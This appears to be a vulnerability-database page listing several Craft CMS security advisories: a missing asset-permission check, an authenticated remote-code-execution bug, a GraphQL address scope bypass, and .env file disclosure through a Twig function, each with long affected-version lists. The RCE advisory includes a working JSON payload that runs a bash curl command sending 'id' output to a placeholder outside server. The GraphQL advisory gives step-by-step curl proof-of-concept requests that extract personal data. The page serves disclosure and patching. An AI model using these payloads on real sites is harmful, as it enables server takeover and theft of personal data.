AssetsController::actionShowInFolder() fetches an asset by ID and returns its filename and complete folder hierarchy (including volume handle, volume UID, folder names, folder UIDs, and folder URI paths) without checking whether the requesting user has viewAssets or viewPeerAssets permission on the asset’s volume. Any authenticated CP user — even one with zero volume permissions — can enumerate asset filenames and the full folder structure of any volume by supplying arbitrary asset IDs.

This follows the exact same incomplete-patch pattern as four GHSAs merged on 2026-02-25 (GHSA-x76w-8c62-48mg, GHSA-vgjg-248p-rfm2, GHSA-5pgf-h923-m958, GHSA-3pvf-vxrv-hh9c), all of which added requireVolumePermissionByAsset() + requirePeerVolumePermissionByAsset() to sibling AssetsController actions. The actionShowInFolder method was introduced thirteen days before the patch wave and was not included in it.

Details

The vulnerability is in src/controllers/AssetsController.php at line 1437. The method:

Calls requireCpRequest() — verifies the request targets the CP, enforces accessCp permission via Controller::_enforceAllowAnonymous(), but does NOT enforce any volume-level permission.
Fetches any asset by ID with Asset::findOne($assetId) — no editable/savable scope filter, so all assets across all volumes are reachable.
Returns sensitive structural data via JSON.

Impact

Any authenticated control panel user with only accessCp permission can discover the filenames and complete folder structure (names, UIDs, handles, URIs) of assets in volumes they are not authorized to access.
Sensitive volume structures — private document repositories, confidential media, internal file names — are exposed to any user who can log into the control panel.
This enables targeted follow-up attacks: an attacker who knows a private asset’s filename and folder path may have other avenues to exfiltrate the actual file.

Resources

https://github.com/craftcms/cms/commit/e3f3eaab3d85badd713cfc2c24e5f0792ecdb586

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 153 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.2


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          5.9.18

References

Updated May 13, 2026 · Source: OSV.dev

CVE-2026-44011 GHSA-qrgm-p9w5-rrfw May 06, 2026

Craft CMS has Potential Authenticated Remote Code Execution via Malicious Attached Behavior

High

Network Low High None

We identified a vulnerability in the latest version of Craft CMS which contains an input-handling flaw in a Yii object creation path that let any authenticated user inject malicious configuration and execute arbitrary commands on the server. Yii’s dynamic object configuration, as implemented in Craft CMS, is a feature that lets the application build parts of itself from a settings list.

This is largely a continuation of https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5, but through a different path that was not mitigated in the original.

The request-controlled condition field layouts data is converted into a live FieldLayout object without a Component::cleanseConfig() boundary. Because Craft configures models before parent::__construct(), attacker-controlled special config keys can take effect during object creation, and FieldLayout initialization then triggers a same-request event.

This appears to be another variant of the recent object-config / behavior-injection bug family, but via the condition / field layout hydration path.

We were able to reproduce the attack by issuing a POST request to /admin/actions/element-search/search with the following JSON from any connected user. Other routes can be exploited in the same way, including the rest of the element-indexes actions that pass through that same beforeAction() path. This results in a curl request to the chosen server with the result of the command “id” for the web user being appended to the path:

POST /admin/actions/element-search/search HTTP/2
Host: hostnamehere
Cookie: CraftSessionId=...; 1234123412341234_identity=...; CRAFT_CSRF_TOKEN=...;
Content-Length: …
User-Agent: Mozilla/5.0
X-Csrf-Token: ...
Accept: application/json
Content-Type: application/json

{

 "elementType": "craft\\elements\\Category",
 "siteId": 1,
 "search": "",
 "condition": {
   "class": "craft\\elements\\conditions\\ElementCondition",
   "elementType": "craft\\elements\\Category",
   "fieldLayouts": [
     {
       "as rce": {
         "__class": "yii\\behaviors\\AttributeTypecastBehavior",
         "__construct()": [
           {
             "attributeTypes": {
               "typecastBeforeSave": [
                 "Psy\\Readline\\Hoa\\ConsoleProcessus",
                 "execute"
               ]
             },
             "typecastBeforeSave": "/bin/bash -c \"curl [https://yourcollaboratorservergoeshere/`id`\](https://yourcollaboratorservergoeshere/%60id%60/)""
           }
         ]
       },
       "on *": "self::beforeSave"
     }
   ]
 }
}

Resources

https://github.com/craftcms/cms/commit/ab85ca7f5f926994f723f60584054a1f4c4c5de3

Affected versions


          4.0.0


          4.0.0.1


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          4.0.5


          4.0.5.1


          4.0.5.2


          4.0.6


          4.1.0


          4.1.0.1

+ 392 more


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.0.6


            5.1.0


            5.1.1


            5.1.10


            5.1.2


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.2


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          4.17.12


          5.9.18

References

Updated May 13, 2026 · Source: OSV.dev

CVE-2026-44010 GHSA-gj2p-p9m4-c8gw May 06, 2026

Craft CMS's Missing Authorization in GraphQL Address Resolver Allows Cross-Scope PII Disclosure

High

Network Low Low None

Summary

The GraphQL Address element resolver (src/gql/resolvers/elements/Address.php) performs no schema scope filtering on top-level queries. A GraphQL API token scoped to a single low-privilege user group can read every address in the system, including addresses belonging to users in groups the token has no authorization to access. This exposes PII, including full names, addresses, organizations, tax IDs, etc.

Details

Every GraphQL element resolver in Craft CMS applies schema scope filtering via GqlHelper::extractAllowedEntitiesFromSchema() when handling top-level queries, except the Address resolver.

The only gate check for addresses is canQueryUsers() (src/gql/queries/Address.php, line 30), which is a binary check. It returns true if the token has access to any user group. Once past this gate, no further filtering is applied.

PoC

Tested on: CraftCMS 5.9.17 (fresh Docker install, PHP 8.3) Prerequisites: A GraphQL API token with read access to any single user group

Environment

Two user groups: publicUsers (in token scope) and internalTeam (NOT in scope)
5 internal executives with corporate addresses (internalTeam)
3 public customers with personal addresses (publicUsers)
GQL token scoped to publicUsers:read only

Step 1: Introspect the schema to discover the addresses query is available to this token. Issue the below curl command

curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ __type(name: \"Query\") { fields { name description } } }"}' http://localhost:8080/actions/graphql/api | jq

The token can see addresses, entries, users as top-level queries.

Step 2: Enumerate Address fields to identify PII exposure surface.

curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ __type(name: \"AddressInterface\") { fields { name
type { name } } } }"}' http://localhost:8080/actions/graphql/api | jq

Exposed fields include: fullName, firstName, lastName, addressLine1/2/3, locality, postalCode, countryCode, organization, organizationTaxId, latitude, longitude.

Step 3: Establish baseline - confirm the token’s user scope is limited. This proves our token only has access to the publicUsers group.

curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses { id fullName firstName lastName addressLine1 addressLine2 locality postalCode countryCode organization
organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq

Only 5 public users returned. Scope enforcement works correctly for the User resolver — internal executives are NOT visible.

Step 4: Query all addresses - the token returns data for ALL user groups, including those outside its authorized scope.

curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses { id fullName firstName lastName addressLine1 addressLine2 locality postalCode countryCode organization
  organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq

▎ "This token can only see 5 users, but it returns 10 addresses" as shown in the above 2 screenshot outputs

All 10 addresses returned. The same token that only sees 5 public users now returns addresses for internal executives including corporate tax IDs:

Sarah Chen, 4200 Executive Plaza Dr, SF — Horizon Dynamics Inc. (TaxID: 82-4917263)

James Whitfield, 89 Kensington High St, London — Whitfield Capital Partners LLP (TaxID: GB927461038)

Maria Rossi, 15 Via della Conciliazione, Roma — Rossi & Bianchi Avvocati (TaxID: IT04829173651)

David Nakamura, 2-11-3 Meguro, Tokyo — Nakamura Medical Technologies KK (TaxID: JP8230-4719-2835)

Elena Voronova, 27 Universitätsstrasse, Zurich — Voronova Biotech AG (TaxID: CHE-384.291.057)

Step 5: Targeted IDOR - extract a specific internal user’s address by owner ID.

curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses(ownerId: [3]) { fullName addressLine1 addressLine2 locality postalCode countryCode organization
  organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq

Directly extracts a specific internal team member’s address: “Secret Admin”, 1 Secret Government Facility, Suite 007, Langley 22101 — SecretCorp LLC (TaxID: 98-7654321). The token has zero authorization to access this user’s data.

Impact

Who is Impacted

Any Craft CMS Pro site (v4.0.0+) that uses GraphQL API tokens with user group scoping and stores user addresses. This is the standard deployment pattern for headless CMS sites using frameworks such as Next.js, Nuxt.js, or Gatsby. An attacker with any valid GraphQL token that has access to at least one user group can extract all addresses in the system, regardless of scope restrictions.

Risk

Direct threat to installation data: Any GraphQL API token with access to any single user group can extract all address systems-wide, including names, home addresses, organizations, and tax IDs belonging to users in restricted groups.
Targeted extraction via IDOR: The ownerId argument allows an attacker to extract specific users’ addresses by ID, enabling targeted reconnaissance against administrators or high-value users without any brute-force or elevated access.
Scope boundary failure: Craft CMS’s GraphQL schema scoping system is the primary security mechanism for controlling API access. Every other element resolver (Entry, User, Asset, Category, Tag) enforces this boundary. The Address resolver does not, making this a foundational gap in Craft’s native authorization model and not a site-specific configuration issue.
Affects all installations using GraphQL with user groups: Any Craft CMS Pro site that exposes a scoped GraphQL token and stores addresses is affected. This is the standard headless CMS deployment pattern, not an edge case.

AI Disclosure

This vulnerability was identified through manual source code review with AI-assisted analysis (Claude). The initial pattern deviation (Address resolver missing scope filtering while all other resolvers have it) was identified through manual comparison of resolver implementations. AI was used to assist with code navigation, PoC scripting, and report drafting.

All findings were verified against a local Docker instance of Craft CMS 5.9.17.

Resources

https://github.com/craftcms/cms/commit/834b2cf61ad0dcee9b03add44ed402ebf18db128

Affected versions


          5.0.0


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2


          5.1.3

+ 392 more


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.2


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.12


          5.9.18

References

Updated May 13, 2026 · Source: OSV.dev

Mar 17, 2026

4.17.11 patch

8 CVEs

CVE-2026-55792 GHSA-287w-mxq6-x2cp Jul 06, 2026

Craft CMS: Sensitive File Disclosure / Server-Side File Read

Medium

Network Low Low None

The dataUrl() Twig function is included in Craft’s Twig sandbox allowlist, allowing any control panel user granted the utility:system-messages permission to embed a file-reading payload into system email templates. When those emails are sent, the server reads the target file and returns its contents as a base64-encoded data URL embedded in the email body. The .env file, which typically contains the database password, CRAFT_SECURITY_KEY, and third-party API keys, passes all of Craft’s existing dataUrl() protection checks and is fully exfiltrated. Obtaining CRAFT_SECURITY_KEY enables an attacker to forge session tokens and escalate to full admin account takeover.

Details

Affected versions: Craft CMS 4.x, 5.x (confirmed against 5.9.19)

The vulnerability arises from the combination of three code facts:

dataUrl is in the Twig sandbox allowlist src/config/twig-sandbox.php, line 115: php'allowedFunctions' => [ ... 'dataUrl', // ← allows file reading inside sandboxed templates ... ],
Html::dataUrl() does not block dotfiles src/helpers/Html.php, lines 1065–1090. The function applies four checks before reading a file:

Must be within the project root .env is at the root Must not be in a system directory (config/, vendor/, storage/, templates/) .env is not Must not be a .php file .env has no extension File must exist .env always exists in a Craft install

There is no check for dotfiles or specifically for .env. All four checks pass silently and file_get_contents() is called, with the result returned as data:text/plain;base64,....

System message body is rendered via renderSandboxedString() src/mail/Mailer.php, lines 181–183: php$subject = $view->renderSandboxedString($systemMessage->subject, $variables); $textBody = $view->renderSandboxedString($systemMessage->body, $variables); $htmlBody = $view->renderSandboxedString($systemMessage->body, $variables, escapeHtml: true);

Any body content saved to a system message is executed inside the Twig sandbox when the email renders. Because dataUrl is in allowedFunctions, the sandbox policy permits its execution without restriction.

Access control: The utility:system-messages permission is a non-admin CP permission grantable to any user group via Settings > Users > Groups. It is not restricted to admins.

Impact

Vulnerability type: Sensitive File Disclosure / Server-Side File Read Who is impacted: Any Craft CMS 4.x or 5.x installation where at least one non-admin control panel user has been granted the utility:system-messages permission, and email sending is configured.

Resources:

https://github.com/craftcms/cms/pull/18559

Affected versions


          4.0.0


          4.0.0-RC1


          4.0.0-RC2


          4.0.0-RC3


          4.0.0.1


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          4.0.5


          4.0.5.1


          4.0.5.2

+ 408 more


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.16


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7


            5.0.0


            5.0.0-RC1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.0.6


            5.1.0


            5.1.1


            5.1.10


